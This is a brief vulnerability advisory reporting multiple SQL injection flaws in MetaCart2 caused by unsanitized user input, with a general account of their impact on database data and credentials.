MetaCart2 is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

An attacker may exploit these issues to manipulate SQL queries to the underlying database. This may facilitate the theft of sensitive information, potentially including authentication credentials, and data corruption.
